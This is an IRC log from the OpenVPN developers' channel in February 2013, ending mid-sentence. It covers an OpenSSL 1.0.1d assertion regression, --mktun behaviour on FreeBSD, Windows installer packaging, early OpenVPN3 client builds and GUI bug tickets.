<+krzee> there were nice comments in the code that made me finally get it 16:24 <@plaisthos> heh 16:24 <@plaisthos> I added a !inline for #openvpn :) 16:24 <@plaisthos> !inline 16:24 <@vpnHelper> "inline" is Inline files supported since OpenVPN 2.1rc1 (pkcs12 since 2.2) and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) 16:25 <+krzee> things added here dont go to there 16:25 <@plaisthos> oh 16:25 <+krzee> [14:25] <krzee> !inline 16:25 <+krzee> [14:25] <vpnHelper> "inline" is https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs 16:25 <@vpnHelper> Title: IOSinline – OpenVPN Community (at community.openvpn.net) 16:25 <+krzee> and !factoids only lists for #openvpn 16:26 <@plaisthos> ah okay 16:26 <+krzee> !learn inline as https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs 16:26 <@vpnHelper> Joo got it. 16:26 <+krzee> now they match =] 16:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:49 <@ecrist> I'm going to update ssl-admin tomorrow, probably, to do inline configs instead of zip files, btw --- Day changed Thu Feb 07 2013 01:23 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 01:23 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 03:29 <@plaisthos> ecrist: :) 03:48 <@vpnHelper> RSS Update - tickets: #257: Assertion with openssl-1.0.1d in ssl.c:1857 <https://community.openvpn.net/openvpn/ticket/257> 04:16 <@cron2> uh 04:16 <@cron2> /* discard leading uint32 */ 04:16 <@cron2> ASSERT (buf_advance (buf, 4)); 04:17 <@cron2> that is line 1857 04:29 -!- dazo_afk is now known as dazo 05:29 <@cron2> dazo: do you understand openssl enough to dig into #257? It looks nasty 05:31 * dazo can look 05:31 <@dazo> oh that one 05:33 <@dazo> the bz now got a proper log file .... ciphername = 'BF-CBC' 05:34 <@dazo> seems that the buffer provided to buf_advance() is too small now ... 05:35 <@dazo> (or being NULL, which I don't think) 05:36 <@dazo> the error happens in key_method_2_read() ... so this is a bit odd that openssl broke this ... and I see in the bz that claws-mail also got issues now 05:38 <@dazo> and another report ... failing with ciphername = 'AES-128-CBC' 05:39 <@dazo> considering the CVE issue fixed is CBC related .... it might be openssl screwed up :/ 06:02 <@plaisthos> Is openvpn also vulnerable to this kind of attack? 06:10 <@cron2> either it's "openssl screwed up" (=major regression) or "we have been doing it wrong all the time which just now surfaced"... 06:10 <@cron2> plaisthos: andj and paul bakker said "no" 06:10 <@cron2> (the issue was mentioned on Saturday at Fosdem) 06:12 -!- Burgundy [~burgundy@5-12-190-68.residential.rdsnet.ro] has joined #openvpn-devel 06:16 <@dazo> plaisthos: I gave a layman's understanding of the issue on openvpn-user ML a few minutes ago 06:22 < djc> dazo: I figured I'd file it on your tracker, to make sure it didn't get lost 06:22 < djc> hope that's okay 06:22 <@dazo> djc: yeah, good idea :) 06:22 <@cron2> djc: yes, that makes sense, thanks. 06:23 <@dazo> plaisthos: Here it is ... http://thread.gmane.org/gmane.network.openvpn.user/33859/focus=33862 06:23 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 06:30 <@plaisthos> cron2, dazo: thanks 06:31 * plaisthos still for the OpenSSL issue that affetcs OpenVPN 06:31 <@plaisthos> so I have to ship bundled OpenSSL libraries to fix the bug 06:35 <@dazo> plaisthos: If your openvpn client is the only possible user of the openvpn you ship ... then you should be able to sleep well at night ... James, andj and Paul all concluded that this particular bug would not haunt OpenVPN 06:35 <@cron2> djc: do you know whether OpenVPN 2.2.x also bombs with the new SSL libraries? (This is just to figure out the amount of stuff we need to re-release in case it turns out to be an OpenVPN bug) 06:37 <@dazo> hmm ... only one user of the key_method_2_read() function, tls_process() 06:37 <@dazo> hmm ... probably time to test this locally 06:38 <@dazo> (but I don't have time for it now :((((( ) 06:39 <@cron2> *cough* I'm at home but not feeling well and no brains :( 06:39 <@dazo> :( 06:41 <@plaisthos> anyone already test if the bugs triggers in all fixed openssl version or only in 1.0.1d 06:42 < djc> cron2: no clue, do you want me to ask on the bug? 06:44 <@cron2> djc: if the reporter feels like testing, it would certainly be welcome. Otherwise we'll do it, but no promises on timely delivery :-( 06:54 <@andj> cron2: about the patches, James promised to have a look at them, there's at least one aspect that needs to be fixed 06:54 <@andj> fixxed even 06:54 <@andj> bleh, spelling hard today 06:55 <@andj> anyway, the mapping between different algorithm names needs to go in before they are acceptable 06:55 <@plaisthos> andj: "not breaking user configuration"? 06:56 <@cron2> andj: that, and "minimum requirement 1.2.5", I'd say :) 06:59 <@andj> hehe, that's an interesting one.... 1.2.4 should be fine... 06:59 <@andj> plaisthos: that one 07:00 <@cron2> isn't 1.2.5 the one that was released on Monday, with the fix? (It also has the error_strerror() fix, which I'd like to see as an requirement :) ) 07:00 <@andj> Unfortunately, I haven't got much time this week... 07:00 <@andj> Yeah, but it isn't critical for OpenVPN security... The other issue is more important :) 07:01 <@andj> (error_strerror being the "other issue") 07:10 <@cron2> ah, yes (but it wont harm to make sure people have the fixed version...) 07:11 <@ecrist> morning kids 07:11 <@andj> true, but would you do the same for OpenSSL? 07:11 <@andj> morning ecrist 07:12 <@cron2> andj: if i'd understand their versioning, maybe 07:13 <@andj> hehe 07:13 <@andj> At the moment I'm fighting with the CRL code in OpenSSL 07:13 <@andj> it is quite convoluted 07:13 <@ecrist> openssl is one of those things everyone hates (the code sucks) but everyone uses 07:14 <@ecrist> up to now, most likely due to lack of a better option 07:30 <@dazo> Actually, from how I see it after having read about OpenSSL lately, it isn't that bad from a coding perspective if you use the different modules in OpenSSL separately and know which API to make use of ... but the API is not consistent across the modules and some functions have become deprecated with the improved function having the postfix _ex() ... while some functions have the _ex() variants but the non-_ex() is not deprecated ... an 07:30 <@dazo> d some functions does the memory cleanup, while others do not ... that is the nasty side of openssl 07:31 <@dazo> And the object stacks openssl have can be quite confusing as well, until you find the macros helping you out there 07:32 <@dazo> But having that said ... the PolarSSL API looks far more sane, after having just given it a glance 07:34 <@dazo> andj: I have a thought for you :) .... Do you know if it exists (and if not, would it make sense to write) a "SSL wrapper library" which supports different SSL back-ends and giving a (sane) front-end API for applications? This way, the applications just use develop against the wrapper lib ... and it will use whatever SSL backend (PolarSSL, OpenSSL, etc, etc) depending on what it was built against 07:36 <@dazo> The reason I ask ... is that I'm going to move my eurephia to use the plug-in v3 API ... which gives direct access to the X509 certificate structs .... and duplicating the openvpn SSL modularity in eurephia would be "stupid" in my eyes 07:37 <@dazo> If it would make sense to write such a SSL wrapper lib (given that nothing like that exists) ... I'm willing to start poking on that at some point 07:53 <@plaisthos> Java Crypto library is a wrapper around different crypto libraries 07:53 * plaisthos ducks and runs 08:01 -!- mode/#openvpn-devel [+q plaisthos!*@*] by ecrist 08:01 <@ecrist> :) 08:01 -!- mode/#openvpn-devel [-q plaisthos!*@*] by ecrist 08:03 <@plaisthos> ecrist: you need -o otherwise I can probably still talk 08:03 -!- mode/#openvpn-devel [+q plaisthos!*@*] by ecrist 08:03 <@ecrist> how about now? 08:03 <@plaisthos> lets try 08:03 <@ecrist> dammit 08:03 <@plaisthos> :D 08:03 -!- mode/#openvpn-devel [-q plaisthos!*@*] by ecrist 08:33 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 1 voices, 9 normal] 08:48 <@ecrist> ping cron2: https://community.openvpn.net/openvpn/ticket/85 08:48 <@vpnHelper> Title: #85 (mktun in freebsd) – OpenVPN Community (at community.openvpn.net) 08:48 * ecrist is working on cleaning up tickets 08:48 <@ecrist> ping mattock - do you have doc changes for easy-rsa, or no? I'm waiting on you to tag a release 08:49 <@ecrist> cron2: I'm told it's still a problem on FreeBSD 9.1 with openvpn 2.3.0 09:05 <@mattock> ecrist: ah, those 09:05 <@mattock> no, don't have them yet, I've been in the wonderful world of Windows installers (nsis) 09:06 <@dazo> mattock: you'll fix the missing "TAP tools" in the OpenVPN installer? 09:06 <@mattock> perhaps we could push out another easy-rsa release in a few weeks with the documentation changes? 09:06 <@dazo> have been more people noticing that 09:06 <@mattock> dazo: yeah, there is way too much nsi stuff in the queue to just forget all about it :) 09:07 <@mattock> also, the openssl vulnerability requires a new windows installer build 09:08 <@mattock> tickets 249, 252 and 255 are installer-related 09:08 <@dazo> mattock: let's do some serious testing before kicking out a new openssl lib in windows .... it might blow in our faces 09:09 <@mattock> it's just a point release, current one has 1.0.1c and the latest is 1.0.1d 09:09 <@mattock> do you smell trouble? 09:09 <@dazo> mattock: https://bugs.gentoo.org/show_bug.cgi?id=455810 09:09 <@vpnHelper> Title: Bug 455810 net-misc/openvpn-2.3.0 with dev-libs/openssl-1.0.1d - openvpn: Assertion failed at ssl.c:1857 (at bugs.gentoo.org) 09:09 <@mattock> ah 09:12 <@mattock> ecrist: I'd say release the new easy-rsa now and I'll provide the documentation fixes to the next release 09:19 <@cron2> ecrist: in which way? 09:20 <@cron2> (is 2.3.0 broken on FreeBSD 9.1) 09:20 * cron2 hasn't tested this in a while, but it builds on buildbot, and nothing has been changed in the FreeBSD innards in a long term 09:21 <@cron2> ah, there, #85, let me check 09:36 <@ecrist> mattock: will do, just some default conf changes going out now 09:36 <@ecrist> cron2: thanks 09:37 <@cron2> dazo: what do you think about #85? Do we just add a few words to the documentation, or have "openvpn --mktun" print out the proper invocations on non-Linux systems? 09:37 <@ecrist> why can't we make --mktun work on freebsd? 09:38 <@ecrist> all you need to do on freebsd is touch, or even just look for a tun/tap interface and it exists 09:40 <@cron2> ecrist: why should we? All functionality that is not needed inside OpenVPN is code that is not needed there 09:40 <@cron2> (and which someone, seems like "me", is going to have to maintain) 09:42 <@ecrist> that's fair 09:42 <@ecrist> when I ran across #85, I wondered why someone would use openvpn to create a tun/tap interface, rather than ifconfig 09:47 <@cron2> because linux can't do :-) - so a few words as a help text or in openvpn.8 sounds like "un-confuse users, make no work for me" 09:47 * cron2 <- lazy (and *experienced*) 09:50 <@ecrist> cron2: might be useful to disable the option on freebsd and, when it's used, print an error (--mktun isn't supported on your OS) 09:50 <@ecrist> the error that's presented now is really confusing, and leads one to believe they did something wrong, rather than it's not supported 09:50 <@cron2> yeah. I'll send a fix to that extent. 09:51 <@plaisthos> but FreeBSD should be able to support --mktun 09:52 <@plaisthos> open the device on start and do not destroy the device on exit 09:52 <@plaisthos> oh 09:52 <@plaisthos> I see the standalone now 09:52 <@plaisthos> nevermind :) 09:53 <@plaisthos> (which would make openvpn --mktun tun10 the same as ls /dev/tun10 on FreeBSD) 10:00 <@cron2> yep 10:00 <@cron2> or ifconfig tun10 create 10:17 <@dazo> cron2: Linux can also create tun/tap ... but you need to use tunctl instead of ifconfig ... however, FreeBSD creates the needed devices much easier (it seems) than Linux ... where in FreeBSD you just start using the interface and it appears automagically ... while in Linux you need ioctl() calls to create it 10:17 <@dazo> I would say ... not sure you'll like it .... #ifdef LINUX around that --mktun stuff 10:18 <@dazo> it only makes sense to carry along on Linux 10:18 <@dazo> (unless some other *BSDs need it, of course ... haven't checked tun.c yet) 10:23 <@mattock> read all the NSIS documentation... tomorrow it's testing, fixing and tweaking time 10:24 <@mattock> God how boring :D 10:24 <@ecrist> cron2: you run freebsd with CARP at all? 10:40 <@d12fk> recently discussed automatic creation of windows tap adapters with a colleague 10:41 <@d12fk> should also be doable from within openvpn, so we could get rid of the batch files 10:42 <@d12fk> could even be doe from the service and become a priv. operation again 10:42 <@d12fk> but that's way down the road for be to impl 10:42 <@d12fk> anyone else interested in windows programming =) 10:43 <@d12fk> you will have my mental support 10:45 <@dazo> d12fk: the challenge there is that you need to implement the devcon features into openvpn ... those scripts are just simple wrappers around devcon .... which adds the path to the tap driver, etc 10:46 <@dazo> It seems Windows doesn't provide feature for automatically creating new devices based on a already loaded driver ... you seem to create the device and then pointing at the driver it will need to load 10:51 <@dazo> okay ... checked with the Fedora package maintainer for OpenSSL .... upstream is aware of some issues with the latest version and are working on those 10:54 <@dazo> some more openssl info about the CVE issue ... http://www.openssl.org/news/secadv_20130205.txt ... seems to be only an issue if using FIPS mode 10:54 <@dazo> sorry ... partially mitigated when using FIPS ... 10:54 * dazo need to wake up :) 10:55 <@d12fk> uh then its about time, bedtime is coming up soon =) 10:55 <@dazo> huh? I just had lunch! 10:55 <@dazo> ;-) 10:55 <@d12fk> did you right shift recently?! =) 10:56 <@dazo> not recently ;-) 10:56 <@dazo> but I probably did the shift at some point ;-) 10:56 <@d12fk> nightshift... 10:56 <@dazo> yeah :) 11:02 * plaisthos wonders if OPenSSL does use AES-NI for non AES ciphers 11:03 * plaisthos took at the instruction set 11:03 <@plaisthos> AESENC Perform one round of an AES encryption flow 11:03 <@plaisthos> with instructions like that probably not 11:15 <@d12fk> re devcon: it just uses the setup api to install the devices. if mingw supports this api for what we need, shouldn't be aproblem 11:15 <@d12fk> http://msdn.microsoft.com/en-us/library/windows/hardware/ff541299%28v=vs.85%29.aspx 11:15 <@vpnHelper> Title: Device Installation Functions (Windows Drivers) (at msdn.microsoft.com) 11:20 <@d12fk> might end up being quite a blob of code though. otoh we'd use it very specific for our cause, so maybe not 11:42 <@d12fk> dazo: is .B \-\-no\-name\-remapping (DEPRECATED) the right format for the man page? 11:42 <@d12fk> have we agreed on how to mark deprecated stuff in the log yet? 11:43 <@d12fk> jsut s.th. like "DEPRECATED OPTION: --option will be removed/moved to --new-option in a future release, please update your config." 11:49 <@cron2> dazo: well, that's what we have: #ifdef LINUX around --mktun, so it gives "unknown option" on other OSes, instead of "this option is not supported here" 11:56 <@dazo> cron2: ahh! 11:57 <@dazo> d12fk: that seems like the right format to me .... that escaping is actually to make the debian linting process happy (to pass some UTF-8 checks, iirc) 11:58 <@dazo> d12fk: we have not declared any specific option deprecation process ... and based on the discussion with James, it seems he don't like the idea of removing options (which I do not agree to) 11:59 <@dazo> d12fk: so I'd say, move these things into a deprecated section in the man page .... with a note why we want to deprecate this option ... and then we'll let it stay there for 2-3 releases 12:07 * ecrist <3 AES-NI 12:07 <@dazo> :) 12:22 * plaisthos succeded in building openvpn3 12:23 <@cron2> doppelplusgut :) 12:29 <@plaisthos> oh joy. Android has an API to be able send data via mobile even if connected to WiFI 12:31 <@cron2> class InsertCoinHere; 12:31 <@cron2> ? 12:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:35 * plaisthos just discovered that GPL2 and GPL3 are incompatible 12:35 <@ecrist> heh 12:35 <@ecrist> BSD ftw 12:41 * dazo don't want to bite that bate ..... 12:41 <@dazo> s/bate/bait/ 12:41 <+krzee> :D 12:42 <@dazo> It too easily gets into a heated discussion of on the perspective of "freedom" :) 12:48 <+krzee> cron2, https://community.openvpn.net/openvpn/ticket/85#comment:3 why doesnt openvpn just run that command then? 12:48 <@vpnHelper> Title: #85 (mktun in freebsd) – OpenVPN Community (at community.openvpn.net) 12:49 <@ecrist> krzee: there's no reason to do it 12:49 <+krzee> im sure im not the only person who didnt know to just use ifconfig in fbsd but to use openvpn --mktun in linux 12:50 <@cron2> krzee: because that would be "add more code to OpenVPN that someone has to maintain and keep current" 12:50 <@dazo> krzee: we don't want to add code which is just wrapping up what you would normally do manually ... somebody wants to maintain that code, especially if the syntax changes later on in FreeBSD 12:50 <@ecrist> krzee: on *bsd, just looking for a tun/tap device creates it 12:50 <@dazo> s/wants/needs/ 12:50 <@ecrist> you don't even need to use ifconfig 12:51 <@dazo> in Linux, you *only* need --mktun to make persistent devices 12:51 <@ecrist> go to any freebsd system (freebsd 5+) with if_tun.ko or if_tap.ko loaded, and type, as root, ls /dev/tap666 12:51 <@ecrist> you will see that device 12:51 <@cron2> implementing it by accidentially touching the device would actually be quite easy, but I fear the side effects from the existing tun.c code (and the carefully tended "clean up new devices after exit" code!) 12:51 <@dazo> in fact, we could even remove the --mktun option completely ... and tell people to use tunctl on Linux ... but as the code for Linux tun/tap devices are doing some system calls, implementing --mktun doesn't complicate anything 12:52 <+krzee> krzee@hemp:~> ls /dev/tap666 12:52 <+krzee> ls: /dev/tap666: No such file or directory 12:52 <+krzee> and not in ifconfig 12:52 <@ecrist> AS ROOT 12:52 <@cron2> load if_tap.ko first 12:52 <@dazo> krzee: that's because you used 666 ... everyone knows that's too risky! 12:52 <+krzee> yep its there 12:52 <+krzee> cool 12:53 <@ecrist> ecrist@alcatraz-1:~-> ls /dev/tap666 12:53 <@ecrist> ls: /dev/tap666: No such file or directory 12:53 <@ecrist> ecrist@alcatraz-1:~-> sudo !! 12:53 <@ecrist> sudo ls /dev/tap666 12:53 <@ecrist> /dev/tap666 12:53 <+krzee> bangbang! 12:54 <+krzee> every time i see !! i think of a cowboy with 2 guns out 12:54 <@ecrist> pew pew 12:56 * dazo had forgotten the !! syntax 12:56 <@plaisthos> openvp3 is twice the size of oepnvpn2 12:56 <@plaisthos> only on mips it is three times as big 12:57 <@cron2> oi 12:57 <@dazo> ugh ... guessing it has something to do with wrapping in boost++ too 12:57 <+krzee> err openvpn3? 12:57 <@dazo> plaisthos: you do static linking of openssl and boost++? 12:58 <@cron2> I remember James mentioning that with "recent C++ compilers" finally C++ is down to the same size of equivalent C code... 12:58 <@dazo> krzee: correct ... james have re-written the client as a library 12:58 <@dazo> and we were given access to it quite recently 12:58 * krzee hears music while the sun peeks through some clouds 12:58 <@dazo> plaisthos: got a git pointer to james' code? 12:59 <@plaisthos> dazo: no 12:59 <@dazo> krzee: but the server code is not written yet 12:59 <@dazo> plaisthos: :( 12:59 <@plaisthos> dazo: just the tar.gz on the website he showed us sunday 12:59 <@dazo> plaisthos: ahh, okay 12:59 <@plaisthos> have not asked him about it so ... 12:59 <@dazo> plaisthos: well, I think he is in process of setting it up, though 13:00 <@plaisthos> dazo: the openvpn2 version is also compiled with CLIENT_ONLY 13:00 <@dazo> plaisthos: I heard some rumours that mattock taught him some git tricks which rendered some of his git scripts not needed :) 13:01 <@plaisthos> dazo: :) 13:03 <@dazo> CLIENT_ONLY ... you mean on Android? 13:04 <@dazo> openssl guys seems to have found the commit messing up 1.0.1d .... 13:05 <@dazo> http://thread.gmane.org/gmane.comp.encryption.openssl.devel/22141 13:05 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:06 <@dazo> http://news.gmane.org/gmane.comp.encryption.openssl.devel 13:06 <@vpnHelper> Title: Gmane Loom (at news.gmane.org) 13:06 <@dazo> duj 13:06 <@dazo> duh! 13:06 <@dazo> http://thread.gmane.org/gmane.comp.encryption.openssl.devel/22123/focus=22132 13:06 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:07 <@cron2> cool 13:11 <@plaisthos> dazo: yes 13:13 <@plaisthos> the big size of ovpn3 could also be the suboptimal swig java wrapper 13:15 <@plaisthos> ls -lh javacli/ovpncli_wrap.o client/ovpncli.o 13:15 <@plaisthos> -rw-r--r-- 1 arne arne 5,7M 7 Feb 19:54 client/ovpncli.o 13:15 <@plaisthos> -rw-r--r-- 1 arne arne 886K 7 Feb 19:52 javacli/ovpncli_wrap.o 14:16 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 14:22 <@plaisthos> d'oh option_error parsing protocol: tcp-client 15:14 -!- dazo is now known as dazo_afk 15:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 16:00 <@plaisthos> yay. 16:00 <@plaisthos> I successfully connected with Openvpn :) 16:33 <@plaisthos> !@&#&@# so much for config comptability 16:33 <@plaisthos> more than one instance option 'cert' 16:33 <@plaisthos> (yes that config is borken but openvpn 2.x likes that config 16:33 <@plaisthos> so it is a bug :D 16:36 <@plaisthos> (and yes I noting all the bugs I am finding 16:59 <@plaisthos> and certificates in keystore work now too :) 16:59 <@plaisthos> time to go to bed :D 17:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:14 -!- Netsplit *.net <-> *.split quits: parmegv, @d12fk, jgeboski, Tiaos, @dazo_afk, @mattock, ender|, @plaisthos, @andj, @cron2, (+5 more, use /NETSPLIT to show all of them) 21:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 22:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 22:27 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has joined #openvpn-devel 22:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 22:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:27 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:27 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 22:27 -!- ServerMode/#openvpn-devel [+oooo plaisthos mattock vpnHelper d12fk] by calvino.freenode.net 22:27 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 22:27 -!- parmegv [U2FsdGVkX1@ma.sdf.org] has joined #openvpn-devel 22:27 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 22:27 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 22:27 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 22:27 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 22:27 -!- Burgundy [~burgundy@5-12-190-68.residential.rdsnet.ro] has joined #openvpn-devel 22:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:27 -!- ServerMode/#openvpn-devel [+voo novaflash andj dazo_afk] by calvino.freenode.net 22:28 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 22:28 -!- ServerMode/#openvpn-devel [+o cron2] by calvino.freenode.net --- Day changed Fri Feb 08 2013 03:33 -!- dazo_afk is now known as dazo 03:55 <@mattock> hmm, openvpn.nsi generates some of the windows help files dynamically (i.e. open file, write lines, close file), even though they're static 03:56 <@mattock> for the sake of clarity it'd probably make more sense to put those files to openvpn git repo and just copy them 03:57 <@mattock> also, it'd be fairly easy to split the translatable strings into a separate file so that they could be translated 04:25 <@plaisthos> Basically ovpn3 core is less < 500 lines of new code :) 04:25 <@plaisthos> Most of it here: http://code.google.com/p/ics-openvpn/source/browse/src/de/blinkt/openvpn/OpenVPNThreadv3.java?name=ovpn3 04:26 <@vpnHelper> Title: OpenVPNThreadv3.java - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 04:26 <@plaisthos> But I think I will wait for James to make an official release of openvpn 3 core before putting anything online 04:36 <@mattock> is there a reason why we'd want to have the option of excluding openvpn-gui, tap-windows or easy-rsa from the official installers? I mean to generate an installer without those parts? 04:37 <@mattock> instead of just always including them and making the default selections in the installer reasonable 04:37 <@mattock> e.g. by default, install tap-windows and openvpn-gui, but not easy-rsa 04:38 <@mattock> removing the !ifdef entries in openvpn.nsi would make it smaller and easier to read 04:41 <@mattock> -> lunch 06:47 <@dazo> mattock: in windows the majority of users needs the core, gui and tap driver ... but tap-driver with addtapdev.bat (or whatever it's called) 06:48 <@mattock> dazo: yes, exactly, I'm not entirely sure why there needs to be an option to not have them in installer 06:48 <@dazo> mattock: for re-installs 06:49 <@mattock> well, the official installers already include all of those components 06:49 <@mattock> but there !ifdef's can be used to exclude those components from the installer 06:50 <@mattock> so there are two layers of selection going on here 06:50 <@mattock> for example, if USE_EASYRSA is not set when calling makensis, easy-rsa will not included in the installer package 06:50 <@mattock> if it's set, it's included in the installer 06:51 <@mattock> but even if it's included in the installer, it can be selected/deselected by the user 06:51 <@mattock> and a default selection can be set 06:51 <@mattock> so the !ifdefs are evaluated when the installer is generated 06:53 <@mattock> I don't think we need those !ifdefs for the officials installers, as we include all of that stuff (easy-rsa, openvpn-gui and tap-windows) in those 06:53 <@mattock> so the questions is: do other people a) use our openvpn.nsi, b) need to be able to completely remove easy-rsa, openvpn-gui or tap-windows from the installer 07:38 <@plaisthos> c) do we care about these people 07:46 <@dazo> mattock: Not sure if I understand all if these !ifdefs ... but I generally don't like {#,!}ifdef in general (even though they can be handy when used in an reasonable amount) .... but I'd vote for installer packages containing everything, having core, gui and tap and tap-tools enabled by default and easy-rsa optional in the "selection screen" 07:47 <@dazo> mattock: if somebody complains about that ... they can pick those parts they want and build their own installer 07:47 <@dazo> heck, they can even base it on your openvpn.nsi 07:48 * plaisthos agress with dazo 07:52 <@mattock> I tend to agree, too 07:53 <@mattock> if you got some time, please share you opinion regarding this: https://community.openvpn.net/openvpn/ticket/252#comment:9 07:53 <@vpnHelper> Title: #252 (OpenVPN-GUI (64-bit) fails after installation) – OpenVPN Community (at community.openvpn.net) 08:40 <@d12fk> no feedback so far about #252 08:40 <@d12fk> the austrian guy doesn't have access to the system where the error happens, the other one did not respond 08:40 <@d12fk> so tracing this down is not easy 08:41 <@d12fk> can't reproduce it locally 08:44 <@mattock> have to build a new tap-windows driver installer to fix the missing tap utilities bug 08:45 <@mattock> the tap-windows installer already supports giving parameters to the silent installer 08:45 <@mattock> e.g. SELECT_TAP_UTILITIES 08:46 <@d12fk> do you build with msvc 08:48 <@mattock> yes, but only the tap-windows driver 08:54 <@mattock> rebuilding new installers 08:56 <@d12fk> so the gui binary is down with mingw 08:56 <@d12fk> done 09:07 <@mattock> yep 09:09 <@d12fk> mattock: i suppose you couldn't reproduce the crash either 09:10 -!- dazo is now known as dazo_afk 09:41 <@mattock> d12fk: mmm, you mean "crash" described in #252? 09:48 <@d12fk> yes 09:58 <@mattock> that's easy to reproduce 09:58 <@mattock> just install openvpn to a non-standard location, uninstall openvpn and reinstall openvpn to another (e.g. standard) location 09:59 <@mattock> oh, and of course after the first openvpn install launch openvpn-gui as admin 09:59 <@mattock> then, when openvpn has been reinstalled to another directory, the openvpn-gui registry keys still point to the wrong (i.e. old) openvpn directory 10:12 <@mattock> because openvpn uninstall does not remove them... and I don't think it should, at least not blindly 10:43 <@d12fk> um, seems we were talking about different ones... =) 10:47 <@d12fk> where's that ticket when you need it 10:48 <@d12fk> found https://community.openvpn.net/openvpn/ticket/246 which could be related to the crash 10:48 <@vpnHelper> Title: #246 (status window in the GUI is displaying the log incorrectly) – OpenVPN Community (at community.openvpn.net) 10:49 <@d12fk> https://community.openvpn.net/openvpn/ticket/165 can be cloased as fixed in 2.3 10:49 <@vpnHelper> Title: #165 (GUI: broken log encoding on non-english Windows) – OpenVPN Community (at community.openvpn.net) 10:51 <@d12fk> ah here https://community.openvpn.net/openvpn/ticket/247 10:51 <@vpnHelper> Title: #247 (OpenVPN GUI crashes in 2.3_rc2) – OpenVPN Community (at community.openvpn.net) 10:51 <@d12fk> mattock: that ^ 11:21 <@mattock> ah 11:22 <@mattock> no, haven't tried to reproduce that one 11:22 <@mattock> if the guys don't provide debugging info soonish, I can try to reproduce it 11:47 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 264 seconds] 11:57 <@plaisthos> hm if I read the code of ovpn3 right it return UDPv6 for udp6 :( 12:41 -!- dazo_afk is now known as dazo 14:23 -!- novaflash is now known as novaflash_away 14:23 -!- novaflash_away is now known as novaflash 16:02 -!- dazo is now known as dazo_afk 18:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Sat Feb 09 2013 02:45 <@cron2> plaisthos: good that 2.3 does not warn on proto mismatch anymore :) 02:45 <@cron2> (but besides this, "real" dual-stack support in ovpn3 is not there yet either) 03:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:37 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 07:51 <@plaisthos> cron2: yeah 07:54 <@plaisthos> cron2: just looked into the sourcecode. OpenVPN3 just takes the first address returned from the resolve function 12:00 <@plaisthos> cron2: it is just the core or also the OpenVPN connect clients that will simply ignore all options they do not support like --route-nopull 12:00 <@plaisthos> without even giving a warning message 12:06 <@cron2> well, there *are* reasons why the community project has some advantages :-) 19:18 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 245 seconds] 19:31 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Sun Feb 10 2013 03:12 <@andj> Sheer genius... traceroute -m 100 obiwan.scrye.net 03:13 <@cron2> yeah, making its rounds... had to explain to my windows-impaired brother how to run tracert there ("tracert -h 60") to see it :-) 03:13 <@andj> :) 15:22 <@ecrist> :) 15:23 <@plaisthos> :) 15:47 -!- Burgundy [~burgundy@5-12-190-68.residential.rdsnet.ro] has quit [Remote host closed the connection] 16:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 17:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 22:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Mon Feb 11 2013 03:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:56 -!- dazo_afk is now known as dazo 03:58 <@cron2> so... off to dubai now... customer project. Not really feeling like it now (too much travel, too early getting-up (3h earlier than here, and then they want me in office at 